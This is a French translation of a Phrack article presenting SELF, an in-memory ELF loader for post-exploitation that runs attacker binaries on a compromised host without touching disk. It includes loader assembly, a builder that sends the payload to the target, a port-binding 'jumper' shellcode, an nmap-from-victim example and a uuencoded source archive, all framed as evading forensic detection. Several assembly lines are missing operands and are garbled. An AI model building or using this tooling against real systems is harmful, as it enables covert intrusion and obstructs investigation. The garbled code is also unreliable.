==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x14 |=----------------=[ Advanced Antiforensics : SELF ]=-------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Pluf & Ripe ]=------------------------------=| |=-----------------------[ www.7a69ezine.org ]=--------------------------=| |=--------------=[ Traduit par TboWan pour arsouyes.org ]=--------------=| |=-----------------------------------------------------------------------=| 1 - Introduction 2 - Userland Execve 3 - Shellcode ELF loader 4 - Conception et implémentation 4.1 - Le lxobject 4.1.1 - Binaire ELF statique 4.1.2 - Contexte de pile 4.1.3 - Shellcode Loader 4.2 - L builder 4.3 - Le jumper 5 - Multi-exécutions 5.1 - Gits 6 - Conclusions 7 - Remerciements 8 - Références A - Systèmes testés B - Code source ---[ 1 - Introduction Les techniques d'exploitation de services distants ont fait des progrès conséquents. Dans le même temps, l'étendue des shellcode s'est agranée et incorpore de nouvelle et complexes techniques d'anti-détection comme des fonctionnalités polymorphiques. En dépit de tous ces avantages donnés à l'attaquant, un appel système à execve est toujours nécessaire ; ce qui conduit à l'apparition des problèmes suivants : - L'accès à l'appelle système execve peut être refusé si l'hôte utilise certaines sortes de systèmes de protection modernes. - L'appel à execve nécessite que le fichier à exécuter soit sur le disque dur. En conséquences, si "/bin/shell" n'existe pas, ce qui est souvent le cas dans les envoronnement chrootés, le shellcode ne sera pas exécuté proprement. - L'hôte pourrait ne pas les outils dont l'intru a besoin, nécessitant de devoir les uploader, ce qui peut laisser des trades de l'intrusion sur le disque. La nécessité d'un shellcode qui les résoud est donc apparue. La solution apparait dans le "userland exec" [NDT : exécution en mode utilisateur]. ---[ 2 - Userland Execve La procédure qui permet une exécution locale d'un programme sans l'utilisation de l'appel système execve est appellée "userland exec" ou "userland execve". C'est à la base un méchanisme qui simule correctement et de façon ordonnée la plus part des actions que le noyau effectue pour charger un exécutable en mémoire et de démarrer son exécution. Elle peut être résumée dans les trois étapes suivantes : - Charger les sections requises du binaires en mémoire. - Initialisation du contexte de pile. - Sauter au point d'entrée (point de départ). Le but du "userland exec" est de permettre le chargement du binaire en évitant l'utilisation de l'appel système execve contenu dans le noyau, résolvant le premier des problèmes sités ci-dessus. En même temps, puisque c'est une implémentation spécifique, nous pouvons l'adapter à nos propres besoins. Nous la modifierons pour que les fichiers ELF ne soit pas lu à partir du disque dur, mais à partir d'un autre support, comme les sockets. Avec cette procedure, les deux autres problèmes sités plus haut sont résolut parce que le fichier "/bin/sh" n'a plus besoin d'être visible par le processus exploité puisqu'il est lu à partir du réseau. D'un autre côté, les outils qui ne sont pas sur l'hôte ciblé peuvent aussi être exécutés. La première implémentation publique d'un execve en mode utilisateur a été faite par "the grugq" [1], son code et sa fonctionnalité sont parfaites, mais il a quelques désavantages : - Ne fonctionne pas pour les attaques réelles. - Le code est trop gros et trop difficile à porter. À cause de ces problèmes, il a été décidé de mettre tous nos efforts dans le développement d'un autre "userland execve" muni des mêmes fonctionnalités mais avec un code plus simple et orienté vers l'utilisation d'exploits. Le résultat final a été le "shellcode ELF loader". ---[ 3 - Shellcode ELF loader Le shellcode ELF loader ou SELF est une technique de post-exploitation nouvelle et sophistiquée basée sur le userland execve. Il permet le chargement et l'exécution d'un fichier binaire ELF sur une machine distante sans le stocker sur le disque ou modifier le système de fichier original. Le but du shellcode ELF loader est de fournir un système moderne et efficace de camouflage post-exploitation pour les exploits combinés à une facilité d'utilisation. C'est à dire qu'un intru peut exécuter autant d'application qu'il le désire. ---[ 4 - Conception et implémentation Obtenir une conception efficace n'a pas été une tâche facile, différentes options ont été considérées et la pluspart d'entre elles ont été jetées. À la fin, la conception sélectionnée a été celle la plus créative permettant le plus de flexibilité, de portabilité et une très grande facilité d'emploi. Le résultat final est un mix de multiples pièces, indépendantes les unes des autres qui réalisent leurs propres fonctions et fonctionnent ensemble en harmonie. Il y a trois pièces : le lxobject, le builder [NDT : constructeur] et le jumper [NDT : lanceur]. Ces éléments rendront la tâche d'exécuter un binaire dasn une machine distante assez facile. Le lxobject est une sorte spéciale d'objet qui contient tous les éléments requis pour changer un exécutable original d'un processus hôte par un nouveau. Le builder et le jumper sont des morceaux de codes qui construisent le lxobject, le transferent à partir de la machine locale (de l'attaquant) vers la machine distante (l'attaquée) et l'active. Comme étape précédante avant la description détaillée des détails internes de cette technique, il est d'abord besoin de comprendre comment, quand et où elle doit être utilisée. Voici une courte synthèse de son utilisation commune : - 1er round, exploitation d'un service vulnérable : Dans ce premier round, nous avons une machine X avec un service vulnérable Y. Nous voulons exploiter ce processus juteux et donc, nous utilisons l'exploit correspondant en utilisant comme charge utile (le shellcode) le jumper. Une fois exploité, le jumper est exécuté et nous sommes prèt pour le round suivant. - 2ème round, exécution d'un binaire : C'est ici que prend place le shellcode ELF loader ; un binaire ELF est sélectionné et le lxobject est construit. Ensuite, nous l'envoyons au jumper pour qu'il l'active. Le résultat est le chargement et l'exécution du binaire sur une machine distante. Nous avons gagné la bataille !! ---[ 4.1 - Le lxobject Mais qu'est-ce que ça peut bien être ? Un lxobject est un objet auto-chargable et auto-exécutable, c'est à dire un objet conçu spécialement pour remplacer complètement le processus hôte original sur lequel il se trouve par un fichier binaire ELF qui contient et initialise son exécution. Chaque lxobject est construit dans la machine de l'intru et est envoyé à la machine attaquée où le jumper le recoit et l'active. En conclusion, il peut être comparé à un missile qui est envoyé d'un endroit vers le lieu d'impact, dont la charge explosive est un exécutable. Ce missile est construit de trois parties assemblées : un binaire statique ELF, une pile pré-construite et un shellcode chargeur. ---[ 4.1.1 - Binaire ELF statique C'est la première partie d'un lxobject, le binaire ELF qui doit être chargé et exécuté sur l'hôte distant. C'est juste un fichier exécutable commun, compilé statiquement pour l'architecture et le système dans lequel il sera exécuté. Il a été décidé d'éviter l'utilisation d'un exécutable dynamique, parce que ça ajouterait de la complexité qui n'est pas nécessaire dans le code du chargement, augmentant le nombre d'erreurs possible notablement. ---[ 4.1.2 - Contexte de pile C'est la deuxième pièce d'un lxobject ; le contexte de pile qui va être nécessaire au binaire. Chaque processus a un segment mémoire associé appelé la pile où les fonctions enregistrent leurs variables locales. Pendant le chargement du processus, le noyau remplis cette section avec une série de données initiales requises pour son exécution prochaine. Nous appellons cela "le contexte initial de la pile". Pour faciliter la portabilité et spécifiquement le processus de chargement, un contexte de pile pré-construit a été adopté. C'est à dire, il est généré dasn notre machine et est assemblé avec le fichier binaire ELF. La seule connaissance requise est le format et d'ajouter les données dans le bon ordre. Pour une vaste majorité des systèmes UNIX, ça ressemble à ça : .----------------. .--> | alignement | | |================| | | Argc | - Arguments (nombre) | |----------------| | | Argv[] | ---. - Arguments (vecteur) | |----------------| | | | Envp[] | ---|---. - Variables d'environnement (vecteur) | |----------------| | | | | argv strings | <--' | | |----------------| | - données d'Argv envp (chaines) | | envp strings | <------' | |================| '--- | alignement | -------> Alignements supérieur et inférieur '----------------' C'est le contexte de pile, le plus réduit et fonctionnel pour nous. Comme il peut être observé, aucun vecteur auxilliaire n'a été ajouté car en travaillant avec des exécutables statiques, nous évitons de nous tracassez à propos de la liaison. Il n'y a aussi aucune restriction sur le nombre d'arguments de variables d'environnement ; une partie d'entre eux peuvent augmenter la taile du contexte mais sans plus. Puisque le contexte est construit sur la machine de l'attaquant, qui sera souvent différente de l'attaquée ; une connaissance de l'espace d'adresage dans lequel la pile est placée sera requis. C'est un processus qui est fait automatiquement et ne suppose aucun problème. ­--[ 4.1.3 - Shellcode Loader C'est la troisième et aussi la plus importante part d'un lxobject. C'est un shellcode qui doit contenir le processus de lancement et d'exécution d'un fichier binaire. C'est en fait une simple mais puissante implémentation de execve() en mode utilisateur. Le processus de chargement effectue les étapes suivantes pour être completer sans problème (x86 32 bits) : * pré-chargement : tout d'abord, le jumper doit effectuer quelques opérations avant de faire quoi que ce soit d'autre. Il récupère l'adresse mémoire où le lxobject vient d'être enregistré et l'ajoute au sommet de pile, ensuite, il trouve le code du chargeur et y saute. Le chargement a commencé __asm__( "push %0n" "jmp *%1" : : "c"(lxobject),"b"(*loader) ); * étape 1 du chargement : scanne la table des en-têtes du programme et commence à charger chaque segment PT_LOAD. Le contexte de pile a sa propre en-tête, PT_STACK, donc, quand ce type de segment est trouvé, il est traité différement du reste (étape 2) .loader_next_phdr: // Vérification du type d'en-tête (eax): PT_LOAD ou PT_STACK movl (%edx),%eax // Si le type d'en-tête est PT_LOAD, sauter à .loader_phdr_load // et charge le segment référencé par cette en-tête cmpl $PT_LOAD,%eax je .loader_phdr_load // Si le type d'en-tête est PT_STACK, sauter à .loader_phdr_stack // et charger le nouveau segment de pile cmpl $PT_STACK,%eax je .loader_phdr_stack // Si le type est inconnu, sauter à l'en-tête suivante addl $PHENTSIZE,%edx jmp .loader_next_phdr Pour chaque segment PT_LOAD (code/donnée) faire ce qui suit : * étape 1.1 de chargement : décharge le vieux segment, une page à la fois, pour être sur qu'il reste assez de place pour y mettre le nouveau : movl PHDR_VADDR(%edx),%edi movl PHDR_MEMSZ(%edx),%esi subl $PG_SIZE,%esi movl {CONTENT},%ecx .loader_unmap_page: pushl $PG_SIZE movl %edi,%ebx andl {CONTENT}xfffff000,%ebx addl %ecx,%ebx pushl %ebx pushl movl $SYS_munmap,%eax call do_syscall addl ,%esp addl $PG_SIZE,%ecx cmpl %ecx,%esi jge .loader_unmap_page * étape 1.2 du chargement : charge la nouvelle région mémoire. pushl {CONTENT} pushl {CONTENT} pushl $-1 pushl $MAPS pushl movl PHDR_MEMSZ(%edx),%esi pushl %esi movl %edi,%esi andl {CONTENT}xffff000,%esi pushl %esi pushl movl $SYS_mmap,%eax call do_syscall addl ,%esp * étape 1.3 du chargement : copie le segment à cet endroit à partir du lxobject : movl PHDR_FILESZ(%edx),%ecx movl PHDR_OFFSET(%edx),%esi addl %ebp,%esi repz movsb * étape 1.4 du chargement : continue avec la prochaine en-tête : addl $PHENTSIZE,%edx jmp .loader_next_phdr * étape 2 du chargement : Une fois qu'à la fois le segment de code et de donnée sont chargés correctement, il est temps d'installer la nouvelle pile : .loader_phdr_stack: movl PHDR_OFFSET(%edx),%esi addl %ebp,%esi movl PHDR_VADDR(%edx),%edi movl PHDR_MEMSZ(%edx),%ecx repz movsb * étape 3 du chargement : pour finir, quelques registres sont nettoyés et ensuite, le loader saute vers le point d'entrée du programme ou le _init(). .loader_entry_point: movl PHDR_ALIGN(%edx),%esp movl EHDR_ENTRY(%ebp),%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx xorl %esi,%esi xorl %edi,%edi jmp *%eax * post-chargement : l'exécution a commencé. Comme on peut le voir, le loader n'effectue aucune action pour construire le contexte de pile, il est construit dans le builder. De cette façon, un contexte pré-conçu est disponible et doit simplement être copié au bon espace d'adressage dans le processus. Malgré qu'il faille coder un loader différent pour chaque architecture, les opérations sont claires et concrètes. Si c'est possible, des loader hubrides capables de fonctionner sur la même architecture, mais avec des méthodes d'appels systèmes différents des systèmes UNIX peuvent être conçus. Le loader que nous avons dévelopé pour notre implémentation est un code hybride capable de fonctionner sur les systèmes Linux et BSD sur les machines x86/32bits. ---[ 4.2 - L builder Il a la fonction d'assembler les composants d'un lxobject et ensuite de l'envoyer à la machine distante. Il fonctionne avec une conception pour une simple ligne de commande et son format est comme suit : ./builder où : host, port = l'adresse de la machine attaquée et le port où le jumper est en train de fonctionner et d'attendre exec = le fichier binaire exécutable qu'on veut exécuter argv, envp = chaine d'arguments et chaine de variables d'environnement, nécessaires à l'exécution du binaire Par exemple, si nous voulons faire un scan de port à partir de la machine attaquée, nous allons exécuter le binaire nmap comme suit : ./builder 172.26.0.1 2002 nmap-static "-P0;-p;23;172.26.1-30" "PATH=/bin" En gros, les opérations d'assemblage effectuées sont les suivantes : * Alouer asser de mémoire pour pouvoir stocker le fichier binaire exécutable, le shellcode du loader et le contexte de pile initial. elf_new = (void*)malloc(elf_new_size); * Insérer l'exécutable dans la zone mémoire précédement allouée et ensuite, nettoyer les champs qui décrivent la table d'en-tête de section parce qu'elle ne seront pas utile pour nous puisque nous travaillons avec un fichier statique. Aussi, la table d'en-têtes de section pourrait de toute façon être retirée. ehdr_new->e_shentsize = 0; ehdr_new->e_shoff = 0; ehdr_new->e_shnum = 0; ehdr_new->e_shstrndx = 0; * construire le contexte de la pile. Ça nécessite deux chaines, la première contient les arguments, la seconde, les variables d'environnement. Chaque élément est séparé par un délimitateur, par exemple : = "arg1;arg2;arg3;-h" = "PATH=/bin;SHELL=sh" Une fois que le contexte est construit, une nouvelle en-tête de programme est ajoutée à la table des en-têtes du programme. C'est une en-tête PT_STACK et contient toutes les informations nécessaire au shellcode loader pour permettre d'installer la nouvelle pile. * le shellcode ELF loader est introduit et son offset est sauvegardé dans le champ e_ident de l'en-tête elf. memcpy(elf_new + elf_new_size - PG_SIZE + LOADER_CODESZ, loader, LOADER_CODESZ); ldr_ptr = (unsigned long *)&ehdr_new->e_ident[9]; *ldr_ptr = elf_new_size - PG_SIZE + LOADER_CODESZ; * le lxobject est près, maintenant, il est envoyé à l'hôte et sur le port spécifiés. connect(sfd, (struct sockaddr *)&srv, sizeof(struct sockaddr) write(sfd, elf_new, elf_new_size); Un lxobject fini et assemblé correctement, près à être envoyé ressemble à ce qui suit : [ auto-chargeable et auto-exécutable Objet ] .------------------------------------------------ | | [Fichier exécutable stacique(1)] | .--------------------------------. | | | | | .----------------------. | | | | En-tête ELF )--------|----|--. | | |----------------------| | | Shellcode Elf loader (3) | | | Table d'en-tête du | | | hdr->e_ident[9] | | | programme | | | | | | | | | | | | + PT_LOAD0 | | | | | | + PT_LOAD1 | | | | | | ... | | | | | | ... | | | | | | + PT_STACK )---------|----|--|--. | | | | | | | Contexte de pile (2) | | |----------------------| | | | | | | Sections | | | | | | | (code/données) | | | | | '--> |----------------------| <--' | | | .--> |######################| <-----' | | | |## SHELLCODE LOADER ##| | | P | |######################| | | A | | | | | G | | ....... | | | E | | ....... | | | | | | | | | |######################| <--------' | | |## CONTEXTE DE PILE ##| | | |######################| | '--> '----------------------' | '----------------- ---[ 4.3 - Le jumper C'est le shellcode qui doit être utilisé par un exploit pendant le processus d'exploitation d'un service vulnérable. Son but est d'activer le lxobject qui arrive et pour permettre de l'effectuer, au moins les opérations suivantes doivent être faites : - ouvrir une socket et attendre que le lxobject arrive - le stocker n'importe où en mémoire - l'activer en sautant dans le loader Voici les besoins minimaux mais il est important de garder en mémoire que le jumper est un simple shellcode et que donc, toute autre fonctionnalité peut être ajoutée juste avatn : briser un chroot, gagner des privilèges, etc. 1) comment récupérer me lxobject ? C'est facilement faisable, des techniques déjà connues, comme se lier à un port et attendre pour une connection, ou chercher dans le table FD du processus, celle qui appartiennent à des socket, peuvent être appliquées. De plus, des algorithmes de chiffrement peuvent être ajoutés, mais ça rendrait le shellcode énorme et difficile à utiliser. 2) et où le stocker ? Il y a trois possibilités : a) le stocker dans le tas. Nous avons juste besoin de trouver la localisation actuelle de la fin du programme en utilisant brk(0). Cependant, cette méthode est dangereuse et inadéquate cat le lxobject pourrait être déchargé ou même entièrement écrasé pendant la phase de chargement. b) stocker dans la pile du processus. À la condition qu'il y ait assez de place et que nous sachions où la pile commence et finit, cette méthode peut être utilisée mais il peut être possible que la pile ne soit pas exécutable, et alors, elle n'est plus applicable. c) l'enregistrer dans une nouvelle région mémoire chargée en utilisant l'appel système mmap(). C'est la meilleure façon et celle que nous avons utilisé dans notre code. Du à la nature d'un jumper, son codage peut être personnalisé et adapté à différent contextes. Voici un exemple de jumper générique écrit en C : lxobject = (unsigned char*)mmap(0, LXOBJECT_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0); addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[1])); addr.sin_addr.s_addr = 0; sfd = socket(AF_INET, SOCK_STREAM, 0)); bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)); listen(sfd, 10); nsfd = accept(sfd, NULL, NULL)); for (i = 0 ; i < 255 ; i++) { if (recv(i, tmp, 4, MSG_PEEK) == 4) { if (!strncmp(&tmp[1], "ELF", 3)) break; } } recv(i, lxobject, MAX_OBJECT_SIZE, MSG_WAITALL); loader = (unsigned long *)&lxobject[9]; *loader += (unsigned long)lxobject; __asm__( "push %0n" "jmp *%1" : : "c"(lxobject),"b"(*loader) ); ---[ 5 - Multi-exécutions Le code inclu dans cet article est juste une implémentation générique d'un shellcode ELF loader qui permet l'exécution de binaire, un à la fois. Si nous voulons exécuter un binaire un nombre indéfini de fois (pour parser plus d'arguments, tester de nouvelles fonctionnalités, etc) il va être nécessaire d'envoyer un nouvel lxobject à chaque fois. Bien qu'il aie évidement des désavantages, c'est suffisant dans la pluspart des situations. Mais qu'arrive-t-il si nous voulons en fait exécuter notre binaire un grand nombre de fois de l'autre côté, c'est à dire, sur la machine distance, sans construire le lxobject ? Pour résoudre ce problème, nous avons développé une nouvelle technique appellée "multi-exécution". La multi-exécution est une implémentation dérivée plus avancée. Sa caractéristique principale est que la construction d'un lxobject est toujours faite sur la machine distante, un binaire permettant une infinité d'exécutions. Quelque chose comme travailler avec un shell distant. Un exemple d'outil utilisant un environement de multi-exécutions est le projet gits ou "ghost in the system" [NDT : un fantôme dans le système]. ­--[ 5.1 - Gits GITS est un environnement de multi-exécutions conçu pour fonctionner sur une machine distante attaquée et pour limiter la quantité d'indice pour l'investigation. Il devrait être vu comme une preuve de concept, une extension avancée avec beaucoup de fonctionnalités. Il comprend un programme de chargement et un shell, qui sont les parties principales. Le shell vous permet d'avoir la possibilité de récupérer autant de binaires que vous voulez et de les exécuter autant de fois que vous voulez (le processus de la reconstrution du contexte de pile et de la modification du binaire est faite avec des techniques avancées). On y a aussi ajouté des commandes intégrées, du contrôle de programme, de la redirection de flots, manipulation de fichiers distants, etc. ---[ 6 - Conclusions Les techniques d'investigations sont toujours plus sophistiquées et complètes chaque jours, où il n'y avait aucune trace de laissées, maintenant, il y a une emprunte, où il n'y avait qu'un indice, maintenant, il y en a des centaines. Une bataille sans fin entre ceux qui ne veulent pas être détectés et ceux qui veulent les détecter. Utiliser la mémoire sans toucher au disques est une bonne habitude pour éviter d'être détecté. Le shellcode ELF loader développe cette post-exploitations sobrement et avec élégance. ---[ 7 - Remerciements 7a69ezine crew & redbull. ---[ 8 - Références [1] The Design and Implementation of ul_exec - the grugq http://securityfocus.com/archive/1/348638/ 2003-12-29/2004-01-04/0 [2] Remote Exec - the grugq http://www.phrack.org/show.php?p=62&a=8 [3] Ghost In The System Project http://www.7a69ezine.org/project/gits ---[ A - Systèmes testés La table suivante résume les systèmes sur lesquelles nous avons testé tout ce bazard [NDT : "fucking shit"] : /----------v----------\ | x86 | amd64 | /------------+----------+----------< | Linux 2.4 | ok | ok | >------------+----------+----------< | Linux 2.6 | ok | ok | >------------+----------+----------< | FreeBSD | ok | nontesté | >------------+----------+----------< | NetBSD | ok | nontesté | \------------^----------^----------/ ---[ B - Code source begin 644 self.tgz M'XL(`%)VS$(``^U]:W<;-[+@?&7_"HS&CDB9I/B0:%F*DU5LV=8=6]):\L2Y MB0]/DVQ2;9/=3'=3CXSSD_8WW'/N+]MZ`8U^4`^_9G:O.B<6V0`*A4*A4%4H M%&-O.E[_R]=]6O`\W-RDO_#D_]+G=JO3ZVQN;/:ZG;^TVJW-=NXM[&Q9/XW.P\W'^;FO[O1[?U%M;XT(F7/__#Y=U3QV0T2 M?QQ&7A#[0^6=A=-%XH?!MCH&%BFK;S^#RZMJ'$T78_6=>NW/O:75SL_/FP_= MWB/O#S_PFF$T<1S55@VU'R11.%H,$1='=>#-F]B+IFXP4GL7WO`,(';AY?&I M-YT.PY&G]EX^4]/0'7F1HS:@Y*D7^Y-`88/]V7SJS;P@<1F:4AM-[./DU%/3 MBW#PWALFC""\IY)CK#HDF`,_<*/+M+C#Q<,/:A@&B7=AM(M^/K:&WLPET,/ON\B/N$B&GJ(D.,XC4;CUR)U'40B\8:G@?_[PHM5 M.%:1-PL33P'%SWP`M:J\B_DT])F`ZM0]\]0,1J=<%2\&L*2`A=RI6[LC7"^'/@61O,P)ZS.UD6X#X-!X M&YB?><(=`MECW7^NFYE[J0:>&GF!#Q3S>22G89RH10P0XQ"(CJSSP0>Z`?P9 M$#H*%/2BJ08`$V_6--W)F'0'D??[PH^()IX:^U-/ERT2^@B=SZ?N$#L/J`[V M=NI&(S7RXP]-Y-$80,"*FU[6$<'5=5A&ZS3KJVH4XK2&0)<+/T[JZOS4'YX2 M[1`,S/,,,!R[PP2A#T]1%`,)S_PH#'`1Q\Q+AH74N0_((SQ`2Y`<(208+ZRK MZ64Z3*(14@]K$^,E83B5J4>@/JR+!1"+*\$<8E^+6"%WXB)#L%@/BY`0BSFN M@0[`A+%FM,(-"Y;^*3!$+5X_1%$J.I:`R.TXG!ZQC,Q4RYR M#ZPN;!"+H$;"C<-%0'-!3+FZT)(2J;':E'5?)D.I:Z`33.4B\LP2",]YZJC7"V@=MADAD7QPS-FF-8 MQX$W!9K).$.2U`!"!NK"4F2F!X+.0!!&#-]!U0%X,HE3BC35?D(S#JP7+V8S MF*`_>%6\!TT#N@/AK&"IS65IO\2>A$Z\L(!@]X;^&+9M/[O?GWLT1>[(G?/TC6$Q,T^$"K9'%9X'M/Y@ M9?WLK0+>,Q=V$A_7'G6':@`QA&.+&A`)(S6.PAF+7RW]8(]/^'4([R-@BSEL M98EL3X!E"#L)3-?/?G(*+0%SPZ0LV+A9"Q5,`W0Q?I[AA! MK24MB]E@-3&R"E`^\V,?N7MPR2S"FSH4$PJPWR#NCO!S=GP!X*P.`PM#6),H M'E,!.@JQ.Z"K/_)D8W!@AP>^$[4!%R;-Q#0.;6$-BY[XD3E@OAA,"Y/(HD>+ M%`"![!;9VX(Z!U8@I024TA5$(&-8][J-&H/]@UX`)H`+*'LX,\@%Y`8T.4Y!L,(N2?PFB\@78) M+WBM&L8AJGL)HHR\#&S6L/55Q^B(N*W@-AOH/H3W)!QC"#"E\J04GU)@0!1&::&9$ MUP39)3%"M8P>+*)A^9X!?SBXAXV1?U%W1=2UYI!I&YO'4QJRWXU9+ MJP!G#-&5U89SK5=:V0(#E0F^X5PW,W:\ZD"9E"# M-84ZY\3++E!+0:3]:`)F9Y)NGIRP$7$/#MWJ?+$)0OZ#F"&(A MP/WO=^X0\O#9.`YG/.NC+)=.!B`J1;@(6(G`\+S;U$$>^`[J[E?BVS MF'Y&RAD-KFZ5(<6U:L6T]58CM-%1H[O4'!*`T)ZMI;M2`HL:AQ`E.RJS7T)3+38=(Q[,TD53$80R;"5#T@IA"05U)%>, MXLQ/-.HR3-9I':9U-\&P-8.U/OKW_56U71=>C\ MK`T<)`;W["8_JMW,T&!K0J\[(D133@MQD8264'%2*>HFLK?'+NP5T%8`B6`# M.Q>T/C_F5<6^L<2#MY%'GAE2OHW^<%;P'=,L,%B59HKU#EE>%R.LPE^>W"L:(YCKK=QNE:I7A.W&:@OWO M^>@?L<5:S'+M!"NC'",Q)%8-DLJ-F&RXC<:Q&:GNG*2LJX2.A(D#JC&JXV0^ MUP&.QI\68(Q[/NP7K-Q;NX1LFKH731='Y#@Z!]PX]F8#E*^X7.+M=!IBXX.N MLWRVUH;8_HX8_SQZ:RWR.FRF++O$J\W.EM3ZIDV)5WUN2T]9@VBEI31UQ%Y; M(W+L[1IM/E2L5V/VB+A:6.=\+749+G(V:IYSVG)0(24^B&#ZT7>)3BK2^%EA MA9[$>9BP-F$;E3BXO/%$#@NM_.,X1Y>!.\-S#X-.;(QJ!!HN8$-V1R-'W,^H MK&E_I3:N4S@CGX"V!L`)JQ*USQ^'0)]D@/K#8 MFY"=+=X\[H86)'L?1(N,R>;Q2$*PEG+F1CY1MJF>+B*S\IFC2#Y+W\1JCO;/ M`%R"1Q/LA;9%U<_B[8;97=7M,R1# M\_0D9"V<%#5+3R?>,Q+8GG(SA/Q2=;+S@0SICL`TJ*^99`DX\5"]D):&I MKZ4?G8WP7F*DAC'K<\*;]\(PH"U!U-L/`:C[WFCBR>;H`*5F+DL/7!PC7AI$ M3>%H<;&R(%R)6=_S4;N M:3KX[@?U$0K!)IFP&P>>CYD30H>_?WR<>S[J`C[%C"9#:9!IWL"2!6OUU6`Q M&X"2K!OF$2KO5X,_^_6=@$?,A;M6\]BOH@(`?"YZ8&85UME>AS6Q M&(J.G!X5PB8!Y@SO3"!)%GB:"19OJD*$`U3[H5T`:V9Q`9+!C11/3.K]@L5D M^6<1`[*L:;DZLK7;FP[M3''F<`D:X-'#`/U(4S]`)R6@,HU#DI.DB,,6Y*"+ M!71>(+E8\=2`MDVTFA!/8GO:*PRSRD0:'G,,DY'*#M0X-=Z0(7EX^(16I`)+ M2A#-Z$I`'R(Z&5`.HI^#;4JK8D$CU/:J%FUU:Y]:Q`N2KJC;IPX<8_H:G1"L M[!U+I)D#W5%$=M8C(-#&RSR`7@P^O-3;HA:0HJ[Y;`_S=J@U0]349T9# M&86!^''%!TQ>_MCCANBT!QK\'[V;9_V<+XV/,^5.H%W$?$B^<>-1`K43=Q\8 M/VJ'V=U>U"K7R1T8DFJ&6ONE=G3F]JBB.:1U3H=W#MYCT%%$YV_L%Z99GN/B M&R^F)=[YG#>UJ@^9\IVS;4@:`UGU6$8G9&+/:5L&-MH%'8)#=X"&4[W8ZJEN M9P`[>PTM]C7<9QL"?9OUUXP53'08A7POY_- MU=K]=N;E=N:+6AFN5/4@:_65P4IUC9&KV?5J.S0'&B7R&K6W50RR@@>DCXE/ M/7$):)L7,$?GFSY#]$`"(."CD_[+P]VG6LV40^Z,[G3JLN&)3DL&6\=FQR>[ M3_Y>)\\*D)7/UH%_M>M/ZZWI.7FJ$"?HG'B"<'_OEW%-5S[VH;9MAPEZA43?M9^'9%/]6 M[WNCBUK]/K1P;.#[XU+(,#"!6B>>0=)J+!'!/CN24CB\C7+<@B%/I`.'1GP\ MZ,?2B6DYA(6)?^_IW@A!7?K>X[_%GF\\!)G(TC$0)RP=!'I=F5=D.*5(,_SK ML>:^@$,D.Z?+%W<'*\_Y][=9S0M$]H:O=I.(F[?(:G M,.A/R:T(5<5%L(Z*5PWE6D:$HD0L+, M'OGEM5[MO3K^3U,K3FN!^29D?-X7(L9%&/=:\'[(Q-4$I3'W<7CIVD1Y.+6@ M%0`AA@!JD,X3<)AT<3'&I]5JY2K(1","V1+=6^G+>YWB*(Y_.>[/".\L?Y*I M"L\H[$M019'-VATDS;R$_PSAAA>%!2%(6R1]/^'%4"1C*7-UMI5F+60$V3`C MD.ZA;$S94;=N]*K1+KY[M7MT7'S[\);\E,Y)"1O)[%LEN=GGR;\.G$&NMV2* M/VF"NV:"R^:ANPT;Y/PR(\S-'F:T%1U50*KOLA7[;/_EGD4\BVLRU0Z?/3O> M.RFC<;HB!O-L2>3-_Q!`\:"4GS:V::/W@P4?G]NRU4+X:Y?PDY>@%G$;2/_#CTSKKU;C*90LT8&<,?K( MGWH)2". MF4:]!(%\P1$,/QT_-9@`$##(U\D@UUXR&-"/+N$Y?*2) M\:#L!B>_NHXU0,G=7-?'D]_C.=8/ZGOTQL`?7(?P!WVJ^"TXF__@..0B((&/ ME3F^1SU.?5:GUCFFYG-]!$YU\X>;N(9`)B\"B7P:P7KS*0H=7B,*`MTZ2I-# M`#J]/34//JM1O=UHI:.=H]>?$88VA7'.!.(>M' M68"U@;[NQZJU4UHA'(^7%P:+V?)"6&W!Z(++<39RN[*96)1MZ*.PB)!\KM0*?VCOP3P?_Z>XT3K47DB4HU3'+;^?XQ=[+EX]CJ(2U#H-A MYN@A];[2N4)=E.Z<;PDE^FADE`P$9-3.,O^D?0"@_46Z@B@&)G)04]/N@ M`VI]DRDK'/-Q&72N&XEN0C9#>J](#(?5W3/#\%EI\G$8JC12#*XC0$'EJK?6>O!T+RUT?O=+NU MM.'-$-DQI+,#DBCV#6,RSMEDTV%&C^IT MYKG`0*QP^`&W<<0_CF!/1:S"<;Y8.\W/(U@D#$&&45=Y2;P;I"BSE263FQ[W M6Y:GB>8;<(!TNDC`3>[:;C3T[Y'[?L2+.L[D=:82]XN==,W8_R M3QZ-PGFY5)<*'^VK#;#*9.56N[5"MT;*K,\\6J/TC%;9%DY^K6NS=NL4-N&!)BZNIBP0N:Z&8-9\< M'ISLO3U1V.*&@'/\4(AFR73J2+W<8XSO7&(!M+UU%$QZ:9I4%;D#+4HVAP&; MJ'(U2J/U,O>IM`=I23P]*JIHD@T7L;Y"JN\;L,($QCC"-?'3'%J!2NP99#W92\VU;#4"#^(`1 MN73%'M41C\8V!X+`/CU!0Y^OURDZT8%M^Q1O`H<8)9&AXX]X@X+&`5/EHVG( M,PC*CCME/44.3TVV!KJY"\HXWR!'3P[Y`BCT0=P<-%VH@HK^122#5[%''K74 MRR;\N*J>/17;+B'Z\T'FP",U$W4]8H>Z(0E>2Z.K7:.1SP1#O6KHST\IPFR" MX8VG,^-==710UT)N=G!T\!3OR0+TT\7$FI*XGKWCR9>Y.C7KLHOQ`?A$0`I7 M5^9BE?@T&'FYC@)$&T` M,1L8DVX0?:BV:DWU(CR'&8SJ/%1V2N(,C_!:5(0WA<@GB)!`G]?W6.R`-[/* MC*5-)XISC-V*%``/T/NTM%3RZ`"+7R09$2YGX-64^H M4IUQT'?N#)L]RWPKAIB2NK;NLW`4`=Z7YQ&*(AYG"2$LP4*35S&\(ECZ=K.Y M]:[#SL2;8>G6LZ?7C"6*UI=W*3)\@.-1MX M0.`(7??&'8!^`.TZIA%)W#'R,=[-?KHPF5`"NC;,DE]+I/S5:J$-E,4DA/X0 M*\:A&_ALC=/%T-3[+58]AEKB]N.2>.,K=A@,#4:$=*;YPP$4GXC'E@2[\?_! M8QC/MC7Q?L9:C%/_['WY(0/R(V9I(Y>'Y[T7^_M/OU(GWY^O7^R 